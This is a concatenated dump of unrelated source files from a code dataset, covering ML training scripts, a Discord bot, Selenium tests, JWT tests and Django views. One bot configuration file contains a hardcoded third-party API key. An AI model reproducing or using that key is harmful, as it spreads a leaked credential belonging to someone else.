Calculate Gradient\n\t\tdsoftmax = softmax_grad(probs)\n\t\tv = dsoftmax[action,:] / probs[0,action]\n\t\tgrad = state.T.dot(v[None,:]) \n\n\t\tw += 0.0001 * grad * reward \n\n\t\t# CHECK GRADSS\n\t\tw1 = np.copy(w)\n\t\tw2 = np.copy(w)\t\n\t\tw3 = np.copy(w)\t\n\t\tw4 = np.copy(w)\t\n\t\tw5 = np.copy(w)\t\n\t\tw6 = np.copy(w)\t\n\n\t\ti = 50\n\t\n\t\tw1[i,0] += 1e-8\n\t\tw2[i,0] -= 1e-8\n\n\t\tw3[i,1] += 1e-8\n\t\tw4[i,1] -= 1e-8\n\t\t#w5[i,2] += 1e-8\n\t\t#w6[i,2] -= 1e-8\n\n\t\t# we want this to match up for all dimensions\n\n\t\tcheck0 = (np.log(policy(state,w1))[0,action] - np.log(policy(state,w2))[0,action])/(2.*1e-8)\n\t\tcheck1 = (np.log(policy(state,w3))[0,action] - np.log(policy(state,w4))[0,action])/(2.*1e-8)\n\t\t#check2 = (np.log(policy(state,w5))[0,action] - np.log(policy(state,w6))[0,action])/(2.*1e-8)\n\t\t#print(\"Approximate Theta: \" + str([check0,check1,check2]))\n\t\t#print(\"Actual Theta : \" + str(grad[i]) + \"\\n\\n\\n\\n\" )\n\n\t\tscore+=reward\n\t\t\n\t\tif done:\n\t\t\tbreak\n\t\t\n\t\tstate = next_state\n\t\n\tepisode_rewards.append(score) \n\tprint(\"EP: \" + str(e) + \" Score: \" + str(score) + \" Actions: \" + str(actions) + \" Probs: \" + str(avg_probs/i) + \" \",end=\"\\r\", flush=False) \n\nplt.plot(np.arange(num_episodes),episode_rewards)\nplt.show()\nenv.close()\n\n","sub_path":"PolicyGradient/cartpole/cartpole.py","file_name":"cartpole.py","file_ext":"py","file_size_in_byte":3072,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"609974159","text":"import tensorflow as tf\nimport numpy as np\nfrom src import dataloader\nimport time\nimport cv2\n\nIMAGE_HEIGHT = 77\nIMAGE_WIDTH = 71\nNUM_CHANNELS = 1\n\nNUM_EPOCHS_FULL = 50\nS_LEARNING_RATE_FULL = 0.01\nF_LEARNING_RATE_FULL = 0.0001\nBATCH_SIZE = 8\n\nTRAIN_PATH = \"data_part1/train/\"\n\ndata, labels, classes = dataloader.loadData(TRAIN_PATH)\ntd, tl, vd, vl = dataloader.splitValidation(data, labels, 50)\n\n# normalizing data\n# td = np.reshape(td, (len(td), 77*71))/255\n# vd = np.reshape(vd, (len(vd), 77*71))/255\ntd = np.reshape(td, (len(td), IMAGE_HEIGHT, IMAGE_WIDTH, NUM_CHANNELS))/255 \nvd = np.reshape(vd, (len(vd), IMAGE_HEIGHT, IMAGE_WIDTH, NUM_CHANNELS))/255 \n\ngraph = tf.Graph()\nwith graph.as_default():\n\tis_train = tf.placeholder(tf.bool, name=\"is_train\")\n\n\t# X = tf.placeholder(tf.float32, shape = (None, len(td[0])))\n\tX = tf.placeholder(tf.float32, shape = (None, IMAGE_HEIGHT, IMAGE_WIDTH, NUM_CHANNELS))\n\n\t# conv layer 1\n\tconvL1 = tf.layers.conv2d(X, 32, (3, 3), (1, 1), padding='valid', activation=tf.nn.relu)\n\n\t# pooling layer 1\n\tpool1 = tf.layers.max_pooling2d(inputs=convL1, pool_size=[2, 2], strides=2)\n\n\t# conv layer 2\n\tconvL2 = tf.layers.conv2d(pool1, 64, (5, 5), (1, 1), padding='valid', activation=tf.nn.relu)\n\n\t# pooling layer 2\n\tpool2 = tf.layers.max_pooling2d(inputs=convL2, pool_size=[2, 2], strides=2)\n\n\t\n\tpool2_flat = tf.reshape(pool2, [-1, 16 * 15 * 64])\n\t# print(pool2_flat.shape)\n\n\t# fully conected layer\n\tfc = tf.layers.dense(pool2_flat, 128, activation=tf.nn.relu)\n\n\tdropout = tf.layers.dropout(fc, 0.4, training=is_train)\n\n\ty = tf.placeholder(tf.int64, shape = (None,))\n\ty_one_hot = tf.one_hot(y, len(classes))\n\tlearning_rate = tf.placeholder(tf.float32)\n\t\t\n\tout = tf.layers.dense(dropout, len(classes), activation=tf.nn.sigmoid)\n\n\tloss = tf.reduce_mean(tf.reduce_sum((y_one_hot-out)**2))\n\ttrain_op = tf.train.GradientDescentOptimizer(learning_rate=learning_rate).minimize(loss)\n\t\n\tresult = tf.argmax(out, 1)\n\tcorrect = tf.reduce_sum(tf.cast(tf.equal(result, y), tf.float32))\n\t\n\n\ndef training_epoch(epoch, session, op, lr):\n\tbatch_list = np.random.permutation(len(td))\n\tstart = time.time()\n\ttrain_loss = 0\n\ttrain_acc = 0\n\taug_batch_size = 0\n\tfor j in range(0, len(td), BATCH_SIZE):\n\t\t\n\t\tif j+BATCH_SIZE > len(td):\n\t\t\tbreak\n\t\tX_batch = td.take(batch_list[j:j+BATCH_SIZE], axis=0)\n\t\ty_batch = tl.take(batch_list[j:j+BATCH_SIZE], axis=0)\n\n\t\t# run augmentation here\n\t\t# rotated = dataloader.rotate_images(X_batch)\n\t\ttranslated = dataloader.translate_images(X_batch)\n\t\t# rotated_translated = dataloader.rotate_images(translated)\n\t\t# translated_rotated = dataloader.translate_images(rotated)\n\n\t\t# scaled = dataloader.central_scale_images(X_batch)\n\n\t\t# for k in range(len(scaled)):\n\t\t# \tcv2.imshow('original ' + str(y_batch[k]), X_batch[k])\n\t\t# \tcv2.imshow('scaled ' + str(y_batch[k]), scaled[k])\n\n\t\t# cv2.waitKey(0)\n\t\t# cv2.destroyAllWindows()\n\t\t# exit()\n\n\t\ta = np.append(X_batch, translated, axis=0)\n\t\taug_batch_size = a.size\n\t\t# b = np.append(a, translated, axis=0)\n\t\t# c = np.append(b, rotated_translated, axis=0)\n\t\t# augmented = np.append(c, translated_rotated, axis=0)\n\n\t\tal = np.append(y_batch, y_batch, axis=0)\n\t\t# bl = np.append(al, y_batch, axis=0)\n\t\t# cl = np.append(bl, y_batch, axis=0)\n\t\t# augmentedLabels = np.append(cl, y_batch, axis=0)\n\n\t\t# print(\"shape: {}\".format(augmented.shape))\n\t\t# print(\"labels: {}\".format(augmentedLabels.size))\n\n\t\t# for k in range(len(augmented)):\n\t\t# \t# cv2.imshow('original ' + str(y_batch[k]), X_batch[k])\n\t\t# \tcv2.imshow('augmentation ' + str(augmentedLabels[k]), augmented[k])\n\t\t\n\t\t# cv2.waitKey(0)\n\t\t# cv2.destroyAllWindows()\n\t\t# exit()\n\t\t# print(\"running session with augmented data: {}\".format(augmented.shape))\n\t\tret = session.run([op, loss, correct], feed_dict = {\n\t\t\tX: a, \n\t\t\ty: al, \n\t\t\tlearning_rate: lr,\n\t\t\tis_train: 1\n\t\t})\n\t\t\n\t\ttrain_loss += ret[1]*aug_batch_size\n\t\ttrain_acc += ret[2]\n\n\t#pass_size = (len(td)-len(td)%BATCH_SIZE)\n\tprint('Training Epoch: '+str(epoch)+' LR: '+str(lr)+' Time: '+str(time.time()-start)+' ACC: '+str(train_acc/aug_batch_size)+' Loss: '+str(train_loss/aug_batch_size))\n\n\ndef evaluation(epoch, session, Xv, yv, name='Evaluation'):\n\tstart = time.time()\n\teval_loss = 0\n\teval_acc = 0\n\tfor j in range(0, len(Xv), BATCH_SIZE):\n\t\tret = session.run([loss, correct], feed_dict = {X: Xv[j:j+BATCH_SIZE], y: yv[j:j+BATCH_SIZE], is_train: 0})\n\t\teval_loss += ret[0]*min(BATCH_SIZE, len(Xv)-j)\n\t\teval_acc += ret[1]\n\n\tprint(name+' Epoch: '+str(epoch)+' Time: '+str(time.time()-start)+' ACC: '+str(eval_acc/len(Xv))+' Loss: '+str(eval_loss/len(Xv)))\n\n\treturn eval_acc/len(Xv), eval_loss/len(Xv)\n\n\nwriterLoss = tf.summary.FileWriter(\"./logs/project4/loss_\")\nwriterAcc = tf.summary.FileWriter(\"./logs/project4/acc_\")\nlog_var = tf.Variable(0.0)\ntf.summary.scalar(\"train\", log_var)\n\nwrite_op = tf.summary.merge_all()\nplotSession = tf.InteractiveSession()\nplotSession.run(tf.global_variables_initializer())\n\ndef train():\n\twith tf.Session(graph = graph) as session:\n\t\t# weight initialization\n\t\tsession.run(tf.global_variables_initializer())\n\n\t\t# full optimization\n\t\tmaxAcc = 0\n\t\tfor epoch in range(NUM_EPOCHS_FULL):\n\t\t\tlr = (S_LEARNING_RATE_FULL*(NUM_EPOCHS_FULL-epoch-1)+F_LEARNING_RATE_FULL*epoch)/(NUM_EPOCHS_FULL-1)\n\t\t\ttraining_epoch(epoch, session, train_op, lr)\n\n\t\t\tval_acc, val_loss = evaluation(epoch, session, vd, vl, name='Validation')\n\n\t\t\tif val_acc > maxAcc:\n\t\t\t\tmaxAcc = val_acc\n\t\t\t\tsave_path = tf.train.Saver().save(session, \"models/tf-project4/model.ckpt\")\n\t\t\t\tprint(\"Model with acc: {} saved in path {}\".format(maxAcc,save_path))\n\n\t\t\tsummary = plotSession.run(write_op, {log_var: val_acc})\n\t\t\twriterAcc.add_summary(summary, epoch)\n\t\t\twriterAcc.flush()\n\n\t\t\tsummary = plotSession.run(write_op, {log_var: val_loss})\n\t\t\twriterLoss.add_summary(summary, epoch)\n\t\t\twriterLoss.flush()\n\n\t\t\n\ndef runInference():\n\tdata, names = dataloader.loadTestData('data_part1/test/')\n\t#rdata = np.reshape(data, (len(data), 77*71))/255\n\trdata = np.reshape(data, (len(data), IMAGE_HEIGHT, IMAGE_WIDTH, NUM_CHANNELS))/255 \n\toutput_path = \"tfproject4.txt\"\n\n\toutput = open(output_path, \"w\") \n\twith tf.Session(graph = graph) as session:\n\t\ts = tf.train.Saver().restore(session, \"models/tf-project4/model.ckpt\")\n\t\tprint(\"model loaded\")\n\t\tfor i in range(len(data)):\n\t\t\t\n\t\t\tret = session.run([result], feed_dict = { X: np.array([rdata[i]]), is_train: 0})\n\t\t\toutput.write(\"{} {}\\n\".format(names[i], ret[0][0]))\n\t\t\t# cv2.imshow(names[i], data[i])\n\t\t\t# cv2.waitKey(0)\n\t\t\t# cv2.destroyAllWindows()\n\t\t\t#exit()\n\toutput.close()\n\tprint(\"output saved file: \" + output_path)\n\nprint(\"======= PROJECT 4 ==========\")\n\ntodo = \"_\"\nwhile todo != \"train\" and todo != \"inference\":\n\ttodo = input(\"What do you want to do? (1:train, 2:inference other: quit): \")\n\tif todo == \"1\":\n\t\tprint(\"Trainning...\")\n\t\ttrain()\n\telif todo == \"2\":\n\t\tprint(\"Running inference...\")\n\t\trunInference()\n\telse:\n\t\texit()","sub_path":"project4.py","file_name":"project4.py","file_ext":"py","file_size_in_byte":6837,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"207073948","text":"import PyICU\n\n# rm_main is a mandatory function,\n# the number of arguments has to be the number of input ports (can be none)\n\ndef isThai(chr):\n cVal = ord(chr)\n\n if (cVal >= 3584 and cVal <= 3711):\n return True\n return False\n\ndef modify(txt): # method wordcut thai\n # print(txt)\n bd = PyICU.BreakIterator.createWordInstance(PyICU.Locale(\"th\"))\n bd.setText(txt)\n lastPos = bd.first()\n retTxt = \"\"\n try:\n while (1):\n currentPos = next(bd)\n retTxt += txt[lastPos:currentPos]\n # เฉพาะภาษาไทยเท่านั้น\n if (isThai(txt[currentPos - 1])):\n if (currentPos < len(txt)):\n if (isThai(txt[currentPos])):\n # คั่นคำที่แบ่ง\n retTxt += \" \"\n lastPos = currentPos\n except :\n pass\n # retTxt = retTxt[:-1]\n retTxt = retTxt.replace('\"','')\n return retTxt\n","sub_path":"wordcut_thai.py","file_name":"wordcut_thai.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"7763994","text":"import gevent\n\n\ndef main(self):\n\n self.reset()\n\n def add(a, b):\n return a + b\n\n ids = []\n for x in range(10):\n ids.append(self.schedule(add, 1, 2, return_queues=[\"q1\"], return_queues_reset=True))\n\n self.start(subprocess=True)\n\n print(\"here\")\n q = self.wait(queue_name=\"q1\", size=10)\n assert q is not None\n\n res = self.results(ids, timeout=120)\n print(res)\n\n self.reset()\n\n ids = []\n for x in range(10):\n ids.append(self.schedule(add, 1, 2, return_queues=[\"q2\"], return_queues_reset=True))\n\n self.start(subprocess=True)\n\n q = self.wait(queue_name=\"q2\", size=11, timeout=5)\n assert q is None\n\n print(\"TEST OK\")\n","sub_path":"JumpscaleCore/servers/myjobs/tests/7_wait.py","file_name":"7_wait.py","file_ext":"py","file_size_in_byte":681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"306915184","text":"#dictionary\nhexdict = {10: 'A', 11: 'B', 12: 'C', 13: 'D', 14: 'E', 15: 'F'}\n\n#function to have more condense and readable code\ndef dectohex(var):\n var1 = var//16\n var2 = var%16\n \n if var1 in hexdict:\n var1 = hexdict[var1]\n if var2 in hexdict:\n var2 = hexdict[var2]\n return str(var1)+str(var2)\n\n#user input\nred = int(input())\ngreen = int(input())\nblue = int(input())\n\n#final output\nprint('#'+dectohex(red)+dectohex(green)+dectohex(blue))\n\n","sub_path":"labs/lab2/dec2hex.py","file_name":"dec2hex.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"277844418","text":"h, w, k = map(int, input().split())\ntbl = [input() for _ in range(h)]\n\n# ビット全探索で全パターンをチェック\n# n個のものからいくつか選ぶ組み合わせの数は 2**n \n# 例えば、3個の場合は 2**3 = 8通り\n# 0: 0b000\n# 1: 0b001\n# 2: 0b010\n# 3: 0b011\n# 4: 0b100\n# 5: 0b101\n# 6: 0b110\n# 7: 0b111\n# バイナリの 0 は選ばれている、1 は選ばれていない\n# https://drken1215.hatenablog.com/entry/2019/12/14/171657\nans = 0\nfor i in range(2**h):\n for j in range(2**w):\n ct = 0\n for ii in range(h):\n for jj in range(w):\n # 塗りつぶされない黒をカウントする\n # カウントした結果が残った数と同じであれば、回答に+1\n if (i>>ii)&1 == 0 and (j>>jj)&1 == 0:\n if tbl[ii][jj] == '#':\n ct += 1\n if ct == k:\n ans += 1\nprint(ans)\n \n","sub_path":"Python_codes/p02614/s412513825.py","file_name":"s412513825.py","file_ext":"py","file_size_in_byte":952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"495280123","text":"# 1. 实现一周的记账功能\na = list()\nb = list()\nc = dict()\ncount = 0\nfor i in range(1,8):\n a.append(float(input(\"请输入第\"+str(i)+\"天的收入:\")))\n b.append(float(input(\"请输入第\"+str(i)+\"天的支出:\")))\n c[i-1] = a[i-1]-b[i-1]\n count += a[i-1]-b[i-1]\nfor i in range(1,8):\n print(\"第\"+str(i)+\"天收入:\"+str(a[i-1])+\"支出:\"+str(b[i-1])+\"当天剩余:\"+str(c[i-1]))\nprint(\"最终剩余:\"+str(count))\n\n\n\n","sub_path":"job2/job2_1.py","file_name":"job2_1.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"315008893","text":"import logging\n\nimport discord\n\nfrom bot.data.user_repository import UserRepository\nfrom bot.messaging.events import Events\nfrom bot.services.base_service import BaseService\n\nlog = logging.getLogger(__name__)\n\nclass UserHandlingService(BaseService):\n\n def __init__(self, *, bot):\n super().__init__(bot)\n\n @BaseService.Listener(Events.on_user_joined)\n async def on_user_joined(self, user) -> None:\n log.info(f'\"{user.name}:{user.id}\" has joined guild \"{user.guild.name}:{user.guild.id}\"')\n await self.add_user(user, user.guild.id)\n\n @BaseService.Listener(Events.on_new_guild_initialized)\n async def on_new_guild_init(self, guild):\n await self.load_users(guild)\n\n async def add_user(self, user, guild_id: int) -> None:\n await UserRepository().add_user(user, guild_id)\n\n async def load_users(self, guild: discord.Guild):\n for user in guild.members:\n user_string = f'{self.get_full_name(user)}:{user.id}'\n guild_string = f'{guild.name}:{guild.id}'\n log.info(f'Loading user: {user_string} in Guild: {guild_string}')\n await self.add_user(user, guild.id)\n\n def get_full_name(self, author) -> str: \n return f'{author.name}#{author.discriminator}' \n\n async def load_service(self) -> None:\n for guild in self.bot.guilds:\n log.info(f'Initializing members of {guild.name}')\n await self.load_users(guild)\n","sub_path":"bot/services/user_handling_service.py","file_name":"user_handling_service.py","file_ext":"py","file_size_in_byte":1441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"386907781","text":"config = {\n 'description':\n \"\"\"\n **{bot_name}**\n Author: Reticence\n Language: Python 3.5.1\n Library: discord.py async beta\n Uptime: {uptime}\n\n {bot_name} combines many small bots into one super bot and can be called using `@{bot_name}` or `{prefix}`.\n\n __Installed Modules:__\n {bot_list}\n\n Want module specific information? Use: `@{bot_name} help`\n Want to see the permission glossery? Use: `@{bot_name} help|about|info permissions`\n Want to use {bot_name} on your own server? Use: `@{bot_name} invite`\n \"\"\",\n 'permissions':\n \"\"\"\n __Permission Legend:__\n\n B: - Bot permission\n U: - User permission\n AF - Attach files\n H - View message history\n MC - Manage channels\n MM - Manage messages\n \"\"\",\n 'prefix': '~',\n 'bots_folder': 'bots',\n 'min_delay': 5,\n 'owner_id': '126383697929699328',\n 'secrets_path': '../secrets.json',\n # Frozen modules cannot be disabled through Module Bot.\n 'frozen_modules': ['help', 'info', 'about', 'module'],\n 'mashape_key': 'uAN2N2GQYYmshZq6F4beo3U0KWVLp1b3ydQjsnHcjwFV6v0LZN'\n}\n\n# DO NOT TOUCH ANYTHING BELOW\n\nfrom object import Object\nfrom textwrap import dedent\n\nfor x in config:\n if type(config[x]) is str:\n config[x] = dedent(config[x]).strip()\n\nconfig = Object(config)\n","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"566835024","text":"from selenium.webdriver.common.action_chains import ActionChains\r\nfrom selenium.webdriver.common.by import By\r\nfrom time import sleep\r\nfrom selenium.webdriver.support.ui import WebDriverWait\r\nfrom selenium.webdriver.support import expected_conditions as EC\r\nimport sys\r\nsys.path.append('..')\r\nfrom TestModel import BasePage, Functions\r\n\r\nclass PayAndIssue(BasePage.BaseClass):\r\n\r\n def click_payandissue_button(self):\r\n WebDriverWait(self.driver, 15, 0.5).until(\r\n EC.element_to_be_clickable((By.XPATH, \"//button[@class='nbs-button orange-button next-button']\"))).click()\r\n Functions.wait_element_visible(self.driver, By.XPATH, \"//h3[@class ='modal-title']\")\r\n Functions.wait_element_not_visible(self.driver, By.XPATH, \"//h3[@class ='modal-title']\")\r\n\r\n def input_emaiaddress(self, emailaddress):\r\n pass\r\n #target = self.driver.find_element(By.XPATH, \"//input[@name='Email Address']\")\r\n #self.driver.execute_script(\"arguments[0].scrollIntoView();\", target)\r\n #ActionChains(self.driver).move_to_element(target).click().perform()\r\n\r\n def select_cashfullpay(self):\r\n paymentplan = self.driver.find_elements_by_xpath(\"//input[@ng-click='selectPlan(item.billingID)']\")\r\n self.driver.execute_script(\"arguments[0].scrollIntoView();\", paymentplan[0])\r\n ActionChains(self.driver).move_to_element(paymentplan[0]).click().perform()\r\n\r\n def select_mailcheck(self):\r\n sleep(1)\r\n js = \"window.scrollTo(0,document.body.scrollHeight)\"\r\n self.driver.execute_script(js)\r\n paymentmethod = self.driver.find_elements_by_xpath(\"//button[@class='square btn-icon-button']\")\r\n self.driver.execute_script(\"arguments[0].scrollIntoView();\", paymentmethod[3])\r\n ActionChains(self.driver).move_to_element(paymentmethod[3]).click().perform()\r\n\r\n\r\n","sub_path":"MIG_Portal_Automation/TestElements/Common_PayAndIssueScreen.py","file_name":"Common_PayAndIssueScreen.py","file_ext":"py","file_size_in_byte":1850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"644486391","text":"import sys\nimport os\nfrom copy import deepcopy\nimport argparse\n\nimport Config\nimport Logger\nfrom Singleton import *\nfrom Utils import *\n\n\ncfg = Config.Get()\n\n\n@Singleton\nclass ArgumentParser:\n \"\"\" A class to get and represent arguments sent to the program \"\"\"\n def __init__(self, *args, **kwargs):\n self._parser = argparse.ArgumentParser(description=\"KiCad Bill-Of-Materials Generator\")\n self._parser.add_argument(\"netlist\", help='XML Netlist file that KiCad automatically generates. Use \"%%I\" in KiCad. This file is the input source for the parser')\n self._parser.add_argument(\"output\", help='Name of the BOM File to generate (with formatter extension). Use \"%%O.extension\" in KiCad.')\n self._parser.add_argument(\"formatter\", default=cfg['formatter'], help=\"Specify the formatter to use\", nargs='?')\n self._parser.add_argument(\"-v\", \"--verbose\", default=cfg.Get('verbose', False), help=\"Enable verbose output\", action='count')\n self._parser.add_argument(\"-d\", \"--debug\", default=cfg.Get('debug', False), help=\"Enable debugging output\", action='count')\n self.args = self._parser.parse_args()\n\n if self.args.verbose >= 1:\n Logger.ToggleVerbose()\n\n if self.args.debug >= 1:\n Logger.ToggleDebug()\n\n self.output_file = self.args.output\n\n # Get the formatter (extension)\n extension = os.path.splitext(self.output_file)[1]\n self.formatter = normalizeStr(extension).strip('.')\n\n # If no formatter is specified then use the one in the config file\n if self.formatter == \"\":\n self.formatter = cfg.Get('formatter', 'No Formatter')\n self.output_file = self.output_file + \".\" + self.formatter\n\n Logger.Verbose(\"Using\", self.formatter, \"formatter\")\n\n # Remove the generated XML file\n if not self.args.netlist.endswith(\".xml\"):\n Logger.Fatal(\"Must provide a netlist (.xml file) as input\")\n\n self.input_file = self.args.netlist\n\n Logger.Verbose(\"Using netlist\", self.input_file)\n\n","sub_path":"Arguments/argument_parser.py","file_name":"argument_parser.py","file_ext":"py","file_size_in_byte":1951,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"565089070","text":"\"\"\"add bid number table\n\nRevision ID: 512f38e28c30\nRevises: dfc018e13dc0\nCreate Date: 2021-07-12 08:58:37.998438\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '512f38e28c30'\ndown_revision = 'dfc018e13dc0'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('proposals', 'bid_no')\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('proposals', sa.Column('bid_no', sa.VARCHAR(length=100), autoincrement=False, nullable=True))\n # ### end Alembic commands ###\n","sub_path":"migrations/versions/512f38e28c30_add_bid_number_table.py","file_name":"512f38e28c30_add_bid_number_table.py","file_ext":"py","file_size_in_byte":696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"177187296","text":"# -*- coding: utf-8 -*-\n# @Author: zhaoa\n# @Date: 2018-10-12 21:24:08\n# @Last Modified by: zhaoanke\n# @Last Modified time: 2018-10-12 21:48:28\n\n\nimport multiprocessing\nimport os\nimport time\nimport random\n\n\ndef worker(msg):\n # 记录处理进程开始的时间\n t_start = time.time()\n print(\"{}开始执行,进程号:{}\".format(msg, os.getpid()))\n # random.random() 随机生成0-1之间的浮点数\n time.sleep(random.random() * 2)\n # 记录处理进程结束的时间\n t_stop = time.time()\n print(\"{}执行完毕,耗时{:.2f}\".format(msg, (t_stop - t_start)))\n\n\ndef main():\n # 创建一个进程池,最大进程数为3\n process_pool = multiprocessing.Pool(3)\n for i in range(0, 10):\n process_pool.apply_async(worker, (i,))\n print('----start----')\n # 关闭进程池\n process_pool.close()\n # 使用join()来使主线程等待子线程运行完毕\n process_pool.join()\n print('----stop----')\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"10月-Python和Linux高级编程/02多任务/02进程/10-12 pool进程池.py","file_name":"10-12 pool进程池.py","file_ext":"py","file_size_in_byte":1001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"167772784","text":"import pytest\nfrom fastapi_jwt_auth import AuthJWT\nfrom fastapi import FastAPI, Depends\nfrom fastapi.testclient import TestClient\n\n# setting for blacklist token\nblacklist = set()\nAuthJWT._blacklist_enabled = 'true'\nAuthJWT._secret_key = 'secret-key'\n\n@AuthJWT.token_in_blacklist_loader\ndef check_if_token_in_blacklist(*args,**kwargs):\n jti = kwargs['decrypted_token']['jti']\n return jti in blacklist\n\n@pytest.fixture(scope='function')\ndef client(monkeypatch):\n app = FastAPI()\n\n @app.get('/jwt-required')\n def jwt_required(Authorize: AuthJWT = Depends()):\n Authorize.jwt_required()\n return {'hello':'world'}\n\n @app.get('/jwt-optional')\n def jwt_optional(Authorize: AuthJWT = Depends()):\n Authorize.jwt_optional()\n return {'hello':'world'}\n\n @app.get('/jwt-refresh-required')\n def jwt_refresh_required(Authorize: AuthJWT = Depends()):\n Authorize.jwt_refresh_token_required()\n return {'hello':'world'}\n\n @app.get('/fresh-jwt-required')\n def fresh_jwt_required(Authorize: AuthJWT = Depends()):\n Authorize.fresh_jwt_required()\n return {'hello':'world'}\n\n client = TestClient(app)\n return client\n\n@pytest.fixture(scope='module')\ndef access_token():\n return AuthJWT.create_access_token(identity='test',fresh=True)\n\n@pytest.fixture(scope='module')\ndef refresh_token():\n return AuthJWT.create_refresh_token(identity='test')\n\n@pytest.mark.parametrize(\"url\",[\"/jwt-required\",\"/jwt-optional\",\"/fresh-jwt-required\"])\ndef test_non_blacklisted_access_token(client,url,access_token):\n response = client.get(url,headers={\"Authorization\":f\"Bearer {access_token.decode('utf-8')}\"})\n assert response.status_code == 200\n assert response.json() == {'hello':'world'}\n\n # revoke token in last test url\n if url == \"/fresh-jwt-required\":\n jti = AuthJWT.get_jti(access_token)\n blacklist.add(jti)\n\ndef test_non_blacklisted_refresh_token(client,refresh_token):\n url = '/jwt-refresh-required'\n response = client.get(url,headers={\"Authorization\":f\"Bearer {refresh_token.decode('utf-8')}\"})\n assert response.status_code == 200\n assert response.json() == {'hello':'world'}\n\n # revoke token\n jti = AuthJWT.get_jti(refresh_token)\n blacklist.add(jti)\n\n@pytest.mark.parametrize(\"url\",[\"/jwt-required\",\"/jwt-optional\",\"/fresh-jwt-required\"])\ndef test_blacklisted_access_token(client,url,access_token):\n response = client.get(url,headers={\"Authorization\":f\"Bearer {access_token.decode('utf-8')}\"})\n assert response.status_code == 401\n assert response.json() == {'detail': 'Token has been revoked'}\n\ndef test_blacklisted_refresh_token(client,refresh_token):\n url = '/jwt-refresh-required'\n response = client.get(url,headers={\"Authorization\":f\"Bearer {refresh_token.decode('utf-8')}\"})\n assert response.status_code == 401\n assert response.json() == {'detail': 'Token has been revoked'}\n","sub_path":"tests/test_blacklist.py","file_name":"test_blacklist.py","file_ext":"py","file_size_in_byte":2918,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"513965204","text":"\"\"\"compute surprise value with user familiarity and conditional probability of each category\"\"\"\n\nimport csv\nimport argparse\n\n\ndef filter(word):\n\treturn word[:-1] if word[-1] == \".\" else word \n\ndef read_data(inputfile):\n\n\twith open(inputfile,'U') as csvfile:\n\t\t reader = csv.reader(csvfile)\n\t\t words = [row[5].split() for row in reader]#select abstract as a list of words\n\t\t words = [[filter(word) for word in abstract] for abstract in words]\n\tprint (words)\t \n\n\n\n\n\n\n\n\nif __name__ == \"__main__\":\n\n\n\tparser = argparse.ArgumentParser(description='read list of words from abstract')\n\tparser.add_argument('csv_file', type=str, help='ACMDL_1000')\n\n\targs = parser.parse_args()\n\tread_data(args.csv_file)\n\n\n\n","sub_path":"personalization.py","file_name":"personalization.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"162859432","text":"from setuptools import setup, find_packages\n\n\ndocs_require = [\n 'sphinx>=1.2', 'sphinxcontrib-httpdomain', 'sphinx_rtd_theme'\n]\n\ntest_require = [\n 'pytest==2.6.0',\n]\n\ninstall_requires= [\n 'flask==0.10.1', 'flask-script==2.0.5', 'sqlalchemy==0.9.7',\n 'alembic', 'py-bcrypt==0.4', 'arrow',\n 'itsdangerous', 'html5lib'\n]\n\nsetup(name='tento',\n version='0.0.1',\n author='Kang Hyojun',\n author_email='admire9@gmail.com',\n packages=find_packages(),\n install_requires=install_requires + docs_require,\n tests_require=test_require,\n extras_require={\n 'docs': docs_require,\n 'tests': test_require\n },\n scripts=['manager.py'])\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"229321017","text":"from django.http import HttpResponse\nfrom django.template import loader\nfrom .models import Author, Book, Redaction, BookHolder\nfrom .forms import AuthorForm, RedactionForm, BookHolderForm, BookForm, BookImgForm\nfrom django.db.models import Sum\nfrom django.urls import reverse_lazy\nfrom datetime import datetime as dt\nfrom django.http.response import HttpResponseRedirect\nfrom django.views.generic.detail import DetailView\n\n\ndef books_list(request):\n template = loader.get_template('books.html')\n books = {'books': Book.objects.all()}\n books.update(Book.objects.all().aggregate(Sum('copy_count')))\n return HttpResponse(template.render(books, request))\n\n\ndef book_increment(request):\n if request.method == 'POST':\n book_id = request.POST['id']\n if not book_id:\n return HttpResponseRedirect(reverse_lazy('main'))\n else:\n book = Book.objects.filter(id=book_id).first()\n if not book:\n return HttpResponseRedirect(reverse_lazy('main'))\n book.copy_count += 1\n book.save()\n return HttpResponseRedirect(reverse_lazy('main'))\n else:\n return HttpResponseRedirect(reverse_lazy('main'))\n\n\ndef book_decrement(request):\n if request.method == 'POST':\n book_id = request.POST['id']\n if not 